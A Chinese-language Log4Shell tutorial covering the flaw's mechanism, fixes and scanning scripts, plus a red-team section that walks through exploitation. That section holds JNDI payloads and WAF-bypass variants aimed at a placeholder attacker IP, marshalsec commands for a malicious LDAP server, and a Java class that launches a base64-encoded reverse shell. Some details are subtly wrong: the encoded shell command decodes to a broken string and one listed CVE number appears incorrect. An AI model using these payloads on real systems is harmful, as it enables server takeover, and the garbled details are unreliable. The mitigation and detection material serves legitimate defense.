一、核心基础
1. 漏洞核心信息
-
漏洞名称:Log4Shell(日志4壳)
-
核心CVE:CVE-2021-44228(最核心)、CVE-2021-45046、CVE-2021-45047
-
CVSS评分:10.0(满分超高危)
-
漏洞类型:远程代码执行(RCE)
2. 漏洞原理
Log4j2 内置「Lookup表达式功能」,日志打印时会自动解析 `${}` 格式的内容,其中包含「JNDI Lookup」机制,可通过 `${jndi:ldap://xxx/xxx}` 格式的表达式,远程调用LDAP/RMI服务器加载类文件。
攻击者构造恶意表达式,将其注入到会被服务端日志记录的内容中(如User-Agent、请求参数、Cookie、用户名等),服务端打印日志时会触发以下流程:
解析恶意表达式 → 发起JNDI请求 → 连接恶意LDAP/RMI服务器 → 下载并加载恶意类 → 执行恶意代码 → 远程控制服务器(RCE)。
3. 影响范围
-
受影响版本:Apache Log4j2 2.0 ≤ 版本 ≤ 2.14.1(全部受影响,部分版本可被绕过)
-
不受影响版本:Log4j 1.x(无JNDI Lookup高危逻辑,已停更)、Log4j2 ≥ 2.17.1(彻底修复所有绕过漏洞)
-
补充:JDK版本会影响利用成功率,高版本JDK限制了JNDI远程类加载功能。
4. 典型Payload及绕过技巧
基础Payload
${jndi:ldap://恶意IP:1389/Exploit} ${jndi:rmi://恶意IP:1099/Exploit}
WAF绕过Payload
${${lower:j}ndi:ldap://恶意IP:1389/Exploit} ${::-j}${ndi:ldap://恶意IP:1389/Exploit} ${j:n${d}i:ldap://恶意IP:1389/Exploit} ${${upper:J}NDI:ldap://恶意IP:1389/Exploit}
5. 修复与防御方案
(1)根本修复:升级版本
将Log4j2升级至 ≥ 2.17.1(推荐版本,彻底修复所有绕过漏洞);最低升级至2.15.0(基础修复CVE-2021-44228)。
(2)临时缓解:无法升级时使用
-
JVM参数配置(全局禁用Lookup解析):
-Dlog4j2.formatMsgNoLookups=true -
环境变量配置(适配容器/集群场景):
LOG4J2_FORMAT_MSG_NO_LOOKUPS=true
(3)应急修复:删除漏洞类
直接删除Log4j2核心包中的JndiLookup类(漏洞触发核心类),命令如下:
zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
(4)全面防御:多维度加固
-
网络层面:限制服务器出站访问LDAP(389端口)、RMI(1099端口),阻断恶意服务器连接。
-
防护层面:WAF拦截`${jndi`、`ldap://`、`rmi://`等恶意特征,拦截绕过Payload。
-
运维层面:定期扫描项目依赖包,排查漏洞版本,避免引入受影响的Log4j2依赖。
二、红蓝队实战利用
1. 工具准备
-
JNDI利用工具:marshalsec(推荐)、JNDI-Injection-Exploit
-
辅助工具:Java编译器(javac)、Python HTTP服务(用于部署恶意类)、Burp Suite(发送Payload)
-
前提条件:目标使用受影响的Log4j2版本、用户输入可被日志打印、目标服务器可出网(能访问恶意服务器)。
2. 利用步骤
步骤1:启动恶意LDAP服务器(以marshalsec为例)
通过marshalsec启动LDAP服务,指定恶意类的下载地址(HTTP服务地址),命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的恶意IP:8080/#Exploit" 1389
说明:1389是LDAP默认端口,Exploit是恶意类名,8080是后续启动的HTTP服务端口。
步骤2:编写并编译恶意类(Exploit.java)
恶意类核心功能:执行反弹Shell或本地命令(如弹计算器),代码如下:
public class Exploit { static { try { // 反弹Shell命令(替换为你的恶意IP和端口,需提前用nc监听) String cmd = "bash -c {echo,YmFzaCAtYyAnY2hpbGRyZW4gMTI3LjAuMC4xIDIwMDAwIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzIwMDAwICYm} | {base64,-d} | {bash,-i}"; Runtime.getRuntime().exec(cmd); // 本地弹计算器(Windows测试用):Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }
编译恶意类(需Java环境):
javac Exploit.java
步骤3:启动HTTP服务,部署恶意类
在恶意类(Exploit.class)所在目录,启动Python HTTP服务,供目标服务器下载恶意类:
python3 -m http.server 8080
步骤4:发送Payload,触发漏洞
将Payload注入到目标服务器会打印日志的位置(如User-Agent、请求参数、Cookie等),通过Burp Suite或浏览器发送请求:
示例:修改HTTP请求头的User-Agent为Payload:
User-Agent: ${jndi:ldap://你的恶意IP:1389/Exploit}
触发逻辑:目标服务器打印User-Agent日志 → 解析Payload → 连接恶意LDAP服务器 → 下载Exploit.class → 执行反弹Shell → 获得目标服务器控制权。
三、应急排查
1. 一键查找服务器所有Log4j2相关Jar包
# 替换/path为需要排查的目录(如/、/app、/usr/local),排查全服务器可改为/ find /path -name "*.jar" -type f | grep -i log4j
2. 检查指定Jar包是否存在漏洞类(JndiLookup)
# 替换xxx.jar为上一步找到的Log4j2核心包(如log4j-core-2.14.1.jar) unzip -l xxx.jar | grep JndiLookup
说明:若输出「org/apache/logging/log4j/core/lookup/JndiLookup.class」,说明该Jar包存在漏洞。
3. 一键批量删除漏洞类(应急修复)
# 批量查找所有log4j-core.jar,删除其中的JndiLookup类,无需手动逐个处理 find /app -name "log4j-core-*.jar" -exec zip -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;
4. 批量扫描服务器所有Log4j2漏洞版本
# 自动扫描全服务器,输出存在漏洞的Log4j2 Jar包路径,便于后续升级 for file in $(find / -name "log4j-core-*.jar" 2>/dev/null); do echo "正在检查: $file" unzip -l "$file" | grep -q JndiLookup && echo "[高危漏洞] 存在漏洞的Jar包: $file" done
四、常见问题
1. 基础
-
Q:Log4j2漏洞叫什么?核心CVE是什么? A:叫Log4Shell,核心CVE是CVE-2021-44228,还有后续绕过漏洞CVE-2021-45046,CVSS评分10.0超高危。
-
Q:Log4j2漏洞的原理是什么? A:Log4j2的Lookup表达式功能存在缺陷,日志打印时会自动解析`${jndi:ldap://xxx}`格式的表达式,触发JNDI远程加载恶意类,实现远程代码执行(RCE)。
-
Q:Log4j2漏洞影响哪些版本? A:Apache Log4j2 2.0到2.14.1版本全部受影响;Log4j 1.x不受影响(已停更);Log4j2 2.17.1及以上版本已彻底修复。
-
Q:Log4j2漏洞的触发条件是什么? A:① 目标使用受影响的Log4j2版本;② 用户可控内容(如请求参数、Header)能被服务端日志打印;③ 目标服务器可出网(能访问恶意LDAP/RMI服务器)。
-
Q:如何修复Log4j2漏洞? A:最根本的是升级到Log4j2 2.17.1及以上版本;无法升级时,添加JVM参数`-Dlog4j2.formatMsgNoLookups=true`;应急方案是删除JndiLookup类。
2. 对比
Q:请对比Log4j2和Fastjson漏洞的核心区别与共同点?
(1)核心区别
-
成因不同:Fastjson漏洞是1.x版本开启AutoType自动类型检测,可通过`@type`指定恶意类,触发反序列化执行恶意代码;Log4j2漏洞是2.0-2.14.1版本解析`${jndi:...}`表达式,触发JNDI远程加载恶意类。
-
触发场景不同:Fastjson需服务端对用户可控的JSON字符串执行反序列化操作;Log4j2只需用户输入的内容被服务端日志打印,触发门槛更低。
-
影响版本不同:Fastjson漏洞集中在1.x版本,2.x版本已修复;Log4j2漏洞集中在2.0-2.14.1版本,Log4j 1.x不受影响。
-
修复核心不同:Fastjson核心是升级到2.x版本,或1.x版本关闭AutoType+配置类白名单;Log4j2核心是升级版本,或关闭Lookup表达式解析、删除JndiLookup类。
(2)共同点
-
均为Java生态超高危RCE漏洞,无需认证即可利用,危害极大。
-
攻击过程均依赖JNDI机制(LDAP/RMI),通过远程加载恶意类实现代码执行。
-
根本修复方案一致:均为升级到对应框架的安全版本;临时方案均为禁用危险功能。
-
防御思路一致:均可通过限制服务器出网、WAF拦截恶意特征、定期扫描依赖包实现加固。
3. 拓展
-
Q:Log4j 1.x为什么不受Log4Shell漏洞影响? A:因为Log4j 1.x没有Log4j2中的Lookup表达式功能,也没有JNDI Lookup相关逻辑,因此无法触发漏洞;但Log4j 1.x已在2015年停更,存在其他未修复的低危漏洞,不建议生产环境使用。
-
Q:企业如何同时防御Log4j2和Fastjson漏洞? A:① 版本升级:Log4j2升≥2.17.1,Fastjson升2.x;② 配置禁用:Log4j2关闭Lookup,Fastjson关闭AutoType;③ 网络限制:禁止服务器出网访问LDAP、RMI端口;④ 防护拦截:WAF拦截两类漏洞的恶意特征;⑤ 运维扫描:定期排查依赖包,及时更新漏洞版本。
五、核心总结
Log4j2漏洞(Log4Shell)是2.0-2.14.1版本中,因JNDI Lookup表达式解析缺陷导致的RCE漏洞,触发门槛低(用户输入被日志打印即可),危害极大;根本修复是升级到2.17.1及以上版本,临时修复可禁用Lookup或删除JndiLookup类;与Fastjson漏洞相比,二者均依赖JNDI实现攻击,但成因、触发场景不同,核心防御思路一致。

7万+

被折叠的 条评论
为什么被折叠?



